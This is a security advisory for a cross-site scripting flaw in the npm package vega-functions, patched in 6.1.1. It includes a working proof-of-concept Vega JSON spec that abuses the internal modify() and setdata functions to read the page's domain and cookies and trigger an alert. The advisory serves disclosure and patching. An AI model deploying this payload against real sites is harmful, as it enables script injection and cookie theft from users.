PT-2026-6450 · Npm · Vega-Functions

Published

2026-01-05

·

Updated

2026-01-05

CVSS v3.1

7.2

High

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Impact

For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).

Patches

Fixed in vega-functions 6.1.1

Workarounds

There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Exploit Proof of Concept

Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:
json
{
 "$schema": "https://vega.github.io/schema/vega/v6.json",
 "data": [
  {
   "name": "table",
   "values": [
    {"category": "A", "amount": 28}
   ]
  }
 ],
 "signals": [
  {
   "name": "tooltip",
   "value": {},
   "on": [
    {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow. el.ownerDocument.domain+' , cookies: '+ event.dataflow. el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow. el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
    {"events": "rect:pointerout", "update": "{}"}
   ]
  }
 ]
}

Fix

XSS

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-79

Related Identifiers

GHSA-M9RG-MR6G-75GM

Affected Products

Vega-Functions